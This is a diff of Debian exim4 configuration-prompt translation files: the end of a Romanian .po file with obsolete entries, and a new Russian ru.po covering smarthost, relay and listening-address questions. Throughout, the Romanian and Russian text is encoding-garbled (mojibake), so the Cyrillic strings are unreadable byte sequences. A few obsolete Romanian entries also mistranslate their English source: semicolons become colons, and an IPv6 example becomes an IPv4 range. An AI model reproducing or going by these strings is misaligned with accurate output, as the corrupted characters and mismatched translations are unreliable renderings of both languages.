+#~ "lucreze cu directorul „spool†al lui exim 3, dar nu È™i vice-versa. Dacă " +#~ "refuzaÈ›i această opÈ›iune, va trebui să mutaÈ›i personal mesajele altfel " +#~ "ele nu vor fi livrate niciodată." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "Dacă acest câmp este gol, Exim nu va face livrări locale." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "AtenÈ›ie, deoarece această manevră funcÈ›ionează doar într-un singur sens, " +#~ "exim4 putând să lucreze cu directorul „spool†al lui exim(v3), dar nu È™i " +#~ "invers." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "MutaÈ›i mesajele doar dacă nu plănuiÈ›i să vă întoarceÈ›i la exim(v3), " +#~ "altfel, mesajele n-ar trebui mutate acum, ci manual, după conversia " +#~ "configuraÈ›iilor." + +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Dacă mai sunt, introduceÈ›i-le aici, separate prin simbolul două puncte. " +#~ "PuteÈ›i lăsa acest câmp liber dacă nu este cazul." + +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "" +#~ "Vă rugăm să introduceÈ›i aici domeniile pentru care acest sistem va " +#~ "intermedia transmiterea mesajelor, de exemplu, ca MX de siguranță sau " +#~ "„mail gatewayâ€." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Astfel de domenii sunt domenii pentru care sunteÈ›i pregătiÈ›i să acceptaÈ›i " +#~ "poÈ™tă de oriunde din Internet. Nu menÈ›ionaÈ›i aici domeniile locale." + +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "Domeniile introduse aici ar trebui să fie separate prin simbolul două " +#~ "puncte. Se pot folosi caractere-joker." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Din moment ce aÈ›i activat ascunderea numelui sistemului de poÈ™tă local " +#~ "pentru mesajele de livrat, trebuie să precizaÈ›i numele de domeniu care va " +#~ "fi utilizat pentru mesaje de la utilizatorii locali; tipic, acesta e " +#~ "maÈ™ina pe care primiÈ›i în mod normal poÈ™ta electronică." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Unde își vor citi utilizatorii dvs. poÈ™ta electronică?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "" +#~ "MaÈ™ina care manevrează mesajele de trimis pentru această maÈ™ină („smart " +#~ "hostâ€):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "" +#~ "IntroduceÈ›i numele calculatorului către care sunt trimise mesajele de " +#~ "trimis." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "ActivaÈ›i această facilitate dacă folosiÈ›i accese doar-la-cerere; altfel, " +#~ "dezactivaÈ›i-o." + +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "" +#~ "AlegeÈ›i tipul de configuraÈ›ie de server de poÈ™tă care se potriveÈ™te cel " +#~ "mai bine nevoilor dumneavoastră." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "" +#~ "Dacă sunteÈ›i nesigur, atunci nu ar trebui să împărÈ›iÈ›i configuraÈ›ia." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "convertire manuală din configurare Exim v3 făcută manual" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Se configurează Exim4 manual?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "AÈ›i indicat că aveÈ›i o configurare personalizată pentru Exim 3. Pentru a " +#~ "o converti la Exim 4, puteÈ›i folosi unealta exim_convert4r4(8) după " +#~ "instalare. ConsultaÈ›i /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "È™i /usr/share/doc/exim4-base/README.Debian.gz!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "Până la configurarea sistemului de mail, acesta va fi nefuncÈ›ional È™i nu " +#~ "va putea fi utilizat." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "\"Numele sistemului de mail\" este porÈ›iunea din numele calculatorului " +#~ "care va fi afiÈ™ată în adresă la mesajele (sau È™tirile) destinate " +#~ "exteriorului (urmează numele de utilizator È™i semnul @) în cazul în care " +#~ "nu este ascuns sau rescris." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Vă rugăm să introduceÈ›i aici reÈ›elele de maÈ™ini locale pentru care " +#~ "acceptaÈ›i să intermediaÈ›i transmiterea mesajelor." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "Aceasta ar trebui să includă o listă atuturor maÈ™inilor cere ne vor " +#~ "folosi ca smarthost." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "Trebuie să dublaÈ›i simbolurile două puncte în adresele IPv6 (ex.: " +#~ "194.222.242.0/24)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "IntroduceÈ›i o listă de IP-uri separate prin simbolul două puncte, care " +#~ "aÈ™teaptă conexiuni. Trebuie să dublaÈ›i simbolurile două puncte în " +#~ "adresele IPv6 (ex.: 5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "Se configurează Exim v4 (exim4-config)" diff --git a/debian/po/ru.po b/debian/po/ru.po new file mode 100644 index 0000000..6d8a6bd --- /dev/null +++ b/debian/po/ru.po @@ -0,0 +1,644 @@ +# translation of ru.po to Russian +# Translation of exim4_debconf_ru.po to Russian +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +# Dmitry Beloglazov <dm-guest@alioth.debian.org>, 2004. +# Sergey Alyoshin <alyoshin.s@gmail.com>, 2007. +# Yuri Kozlov <kozlov.y@gmail.com>, 2006, 2007. +msgid "" +msgstr "" +"Project-Id-Version: exim4-debconf_4.67_1exp1_ru\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-06-19 21:31+0400\n" +"Last-Translator: Yuri Kozlov <kozlov.y@gmail.com>\n" +"Language-Team: Russian <debian-l10n-russian@lists.debian.org>\n" +"Language: ru\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" +"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" +"%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Удалить недоÑтавленную почту из каталога почтовой очереди?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Ð’ каталоге почтовой очереди Exim /var/spool/exim4/input еÑÑ‚ÑŒ почта, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ " +"пока не была доÑтавлена. ЕÑли Exim будет удалён, то она так и не будет " +"доÑтавлена, пока Exim не будет уÑтановлен Ñнова." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"ЕÑли Ñтот параметр не выбран, то каталог почтовой очереди будет Ñохранён, " +"что позволит доÑтавить ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ Ð² очереди позже, поÑле переуÑтановки Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "ПеренаÑтройка Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ exim4-config, а не Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Ñтого пакета." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"ÐаÑтройка Exim4 вынеÑена в отдельный пакет, exim4-config. ЕÑли нужно " +"перенаÑтроить Exim4, иÑпользуйте команду 'dpkg-reconfigure exim4-config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "интернет-Ñайт; приём и отправка почты напрÑмую, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "отправка почты через smarthost; приём по SMTP или через fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "отправка почты через smarthost; Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð°Ñ Ð¿Ð¾Ñ‡Ñ‚Ð° отÑутÑтвует" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "доÑтавка только локальной почты; доÑтупа к Ñети нет" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "в данный момент ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ð¾Ñ‚ÑутÑтвует" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Общий тип почтовой конфигурации:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Выберите тип конфигурации почтового Ñервера наиболее отвечающий вашим нуждам." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"СиÑтемы Ñ Ð´Ð¸Ð½Ð°Ð¼Ð¸Ñ‡ÐµÑкими IP-адреÑами, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ ÑиÑтемы Ñ ÐºÐ¾Ð¼Ð¼ÑƒÑ‚Ð¸Ñ€ÑƒÐµÐ¼Ñ‹Ð¼ " +"доÑтупом, как правило, должны быть наÑтроены на отправку иÑходÑщей почты " +"через другую машину, называемую 'smarthost', так как Ñ Ñ†ÐµÐ»ÑŒÑŽ защиты от Ñпама " +"многие принимающие почту ÑиÑтемы в Интернет блокируют входÑщую почту Ñ " +"динамичеÑких IP-адреÑов." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"СиÑтемы Ñ Ð´Ð¸Ð½Ð°Ð¼Ð¸Ñ‡ÐµÑкими IP-адреÑами могут принимать почту или Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð°Ñ " +"доÑтавка может быть полноÑтью выключена (за иÑключением почты Ð´Ð»Ñ root и " +"postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Ð’Ñ‹ уверены, что хотите оÑтавить почтовую ÑиÑтему ненаÑтроенной?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"До тех пор, пока ваша Ð¿Ð¾Ñ‡Ñ‚Ð¾Ð²Ð°Ñ ÑиÑтема не будет наÑтроена, она будет " +"неработоÑпоÑобна и не может быть иÑпользована. Ð’Ñ‹ можете наÑтроить её позже " +"вручную или выполнив команду 'dpkg-reconfigure exim4-config'." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Почтовое Ð¸Ð¼Ñ ÑиÑтемы:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'Почтовое имÑ' -- Ñто доменное имÑ, которое иÑпользуетÑÑ Ð´Ð»Ñ 'определениÑ' " +"почтовых адреÑов без доменного имени." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Ðто Ð¸Ð¼Ñ Ñ‚Ð°ÐºÐ¶Ðµ будет иÑпользоватьÑÑ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ программами. Оно должно быть " +"единÑтвенным, полноÑтью определённым именем домена (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Ðапример, еÑли почтовый Ð°Ð´Ñ€ÐµÑ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¾Ð¹ машины foo@example.org, то " +"правильное значение Ñтого параметра будет example.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Ðто Ð¸Ð¼Ñ Ð½Ðµ будет поÑвлÑÑ‚ÑŒÑÑ Ð² Ñтроке From: иÑходÑщей почты, еÑли разрешена " +"перезапиÑÑŒ." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Другие меÑта назначениÑ, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… должна приниматьÑÑ Ð¿Ð¾Ñ‡Ñ‚Ð°:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Введите ÑпиÑок доменов получателей через точку Ñ Ð·Ð°Ð¿Ñтой, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… Ñта " +"машина должна Ñчитать ÑÐµÐ±Ñ Ð¼ÐµÑтом назначениÑ. Ðти домены чаÑто называют " +"'локальными доменами'. Локальное Ð¸Ð¼Ñ Ñ…Ð¾Ñта (${fqdn}) и 'localhost' вÑегда " +"добавлÑÑŽÑ‚ÑÑ Ðº указанному здеÑÑŒ ÑпиÑку." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"По умолчанию вÑе домены обрабатываютÑÑ Ð¾Ð´Ð¸Ð½Ð°ÐºÐ¾Ð²Ð¾. ЕÑли a.example и b.example " +"ÑчитаютÑÑ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ñ‹Ð¼Ð¸ доменами, то у адреÑов acc@a.example и acc@b.example " +"будет одинаковый конечный пункт назначениÑ. ЕÑли еÑÑ‚ÑŒ доменные имена, " +"которые нужно обрабатывать по-другому, необходимо отредактировать " +"конфигурационные файлы вручную." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Домены, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… доÑтупна Ñ€ÐµÐ»ÐµÐ¹Ð½Ð°Ñ Ð¿ÐµÑ€ÐµÐ´Ð°Ñ‡Ð° почты:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Введите ÑпиÑок доменов через точку Ñ Ð·Ð°Ð¿Ñтой, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… Ñта машина будет " +"релеить почту, например, еÑли она должна работать как аварийный MX или " +"почтовый шлюз. Ðто означает, что ÑиÑтема будет принимать почту Ð´Ð»Ñ Ñтих " +"доменов от кого угодно из Интернет и доÑтавлÑÑ‚ÑŒ её ÑоглаÑно локальным " +"правилам доÑтавки." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Ðе впиÑывайте Ñюда локальные домены. Можно иÑпользовать шаблоны." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Машины, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… доÑтупна Ñ€ÐµÐ»ÐµÐ¹Ð½Ð°Ñ Ð¿ÐµÑ€ÐµÐ´Ð°Ñ‡Ð° почты:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Введите ÑпиÑок диапазонов IP-адреÑов, разделённых точками Ñ Ð·Ð°Ð¿Ñтой, Ñ " +"которых вы безуÑловно разрешаете релейную передачу почты, Ð¸Ð³Ñ€Ð°Ñ Ð´Ð»Ñ Ð½Ð¸Ñ… роль " +"smarthost." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Ðеобходимо иÑпользовать Ñтандартный формат адреÑ/маÑка (например, " +"194.222.242.0/24 или 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"ЕÑли Ñта ÑиÑтема вообще не должна быть smarthost, то оÑтавьте Ñто поле " +"пуÑтым." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Видимое доменное Ð¸Ð¼Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ñ‹Ñ… пользователей:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Была включена Ð¾Ð¿Ñ†Ð¸Ñ ÑÐ¾ÐºÑ€Ñ‹Ñ‚Ð¸Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¾Ð³Ð¾ почтового имени в иÑходÑщей почте. " +"ПоÑтому необходимо указать доменное имÑ, которое должна иÑпользовать Ñта " +"ÑиÑтема в доменной чаÑти локальных пользовательÑких адреÑов-отправителей." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "IP-Ð°Ð´Ñ€ÐµÑ Ð¸Ð»Ð¸ Ð¸Ð¼Ñ Ñ…Ð¾Ñта ÑвлÑющегоÑÑ Ð¸ÑходÑщим smarthost:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Введите IP-Ð°Ð´Ñ€ÐµÑ Ð¸Ð»Ð¸ Ð¸Ð¼Ñ Ñ…Ð¾Ñта почтового Ñервера, который Ñта ÑиÑтема будет " +"иÑпользовать в качеÑтве иÑходÑщего smarthost. ЕÑли smarthost принимает почту " +"на неÑтандартном порту (не TCP/25), то добавьте два Ð´Ð²Ð¾ÐµÑ‚Ð¾Ñ‡Ð¸Ñ Ð¸ номер " +"порта (например, smarthost.example::587 или 192.168.254.254::2525). " +"Ð”Ð²Ð¾ÐµÑ‚Ð¾Ñ‡Ð¸Ñ Ð² адреÑах IPv6 нужно удваивать." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"ЕÑли smarthost требует пройти аутентификацию, то Ð·Ð°Ð¼ÐµÑ‡Ð°Ð½Ð¸Ñ Ð¾ том как " +"наÑтроить аутентификацию SMTP в Debian, Ñмотрите в файлах README (из " +"каталога /usr/share/doc/exim4-base)." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Получатель почты, адреÑованной root и postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Почта Ð´Ð»Ñ 'postmaster', 'root' и других ÑиÑтемных учётных запиÑей должна " +"перенаправлÑÑ‚ÑŒÑÑ Ð½Ð° пользовательÑкую учётную запиÑÑŒ наÑтоÑщего ÑиÑтемного " +"админиÑтратора." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"ЕÑли Ñто значение оÑтавить пуÑтым, то почта будет ÑохранÑÑ‚ÑŒÑÑ Ð² /var/mail/" +"mail, но Ñто не рекомендуетÑÑ." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Имейте в виду, что почту, адреÑованную postmaster, предпочтительнее читать " +"на той ÑиÑтеме, на которую она была отправлена, чем переÑылать куда-нибудь в " +"другое меÑто, так что, по меньшей мере, один из пользователей, которых вы " +"выберете, не должен перенаправлÑÑ‚ÑŒ Ñвою почту Ñ Ñтой машины. ИÑпользуйте " +"Ð¿Ñ€ÐµÑ„Ð¸ÐºÑ 'real-' Ð´Ð»Ñ Ð¿Ñ€Ð¸Ð½ÑƒÐ´Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ локальной доÑтавки." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "ÐеÑколько имён пользователей нужно разделÑÑ‚ÑŒ пробелами." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP-адреÑа, Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… Ñледует ожидать входÑщие ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ SMTP:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Введите ÑпиÑок IP-адреÑов, разделённых точками Ñ Ð·Ð°Ð¿Ñтой. Демон Exim, " +"проÑлушивающий SMTP, будет проÑлушивать вÑе IP-адреÑа, указанные здеÑÑŒ." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"ЕÑли вы оÑтавите Ñто поле пуÑтым, Exim будет ожидать ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ Ð½Ð° вÑех " +"доÑтупных Ñетевых интерфейÑах." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"ЕÑли Ñтот компьютер принимает почту напрÑмую только от локальных ÑервиÑов (и " +"не от каких других компьютеров),то вам Ñледует запретить внешние ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ " +"к локальному демону Exim. К локальным ÑервиÑам отноÑÑÑ‚ÑÑ Ð¿Ð¾Ñ‡Ñ‚Ð¾Ð²Ñ‹Ðµ программы " +"(MUA), которые работают только через localhost, а также fetchmail.ЕÑли здеÑÑŒ " +"ввеÑти Ð°Ð´Ñ€ÐµÑ 127.0.0.1, то внешние Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð±Ð»Ð¾ÐºÐ¸Ñ€ÑƒÑŽÑ‚ÑÑ, а также Ñто " +"запретит ожидание Ñоединений на общедоÑтупных Ñетевых интерфейÑах." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Сокращать количеÑтво DNS-запроÑов до минимума (дозвон по требованию)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"При работе в обычном режиме Exim делает DNS-запроÑÑ‹ (при Ñтарте, приёме или " +"отправке ÑообщениÑ, и Ñ‚.д.) Ð´Ð»Ñ Ð·Ð°Ð¿Ð¸Ñи в журнал и Ð´Ð»Ñ ÑƒÐ¼ÐµÐ½ÑŒÑˆÐµÐ½Ð¸Ñ Ð¾Ð±ÑŠÑ‘Ð¼Ð° " +"значений параметров, указываемых в конфигурационном файле." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"ЕÑли Ñтот узел не имеет поÑтоÑнного доÑтупа к DNS-Ñерверу (например, " +"иÑпользуетÑÑ Ð´Ð¾Ð·Ð²Ð¾Ð½ по требованию по коммутируемой линии), то Ñто может " +"привеÑти к нежелательному поведению. Ðапример, при запуÑке Exim или " +"обработке очереди (даже еÑли очередь пуÑта) может инициироватьÑÑ Ð´Ð¾Ñ€Ð¾Ð³Ð¾Ð¹ " +"дозвон." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 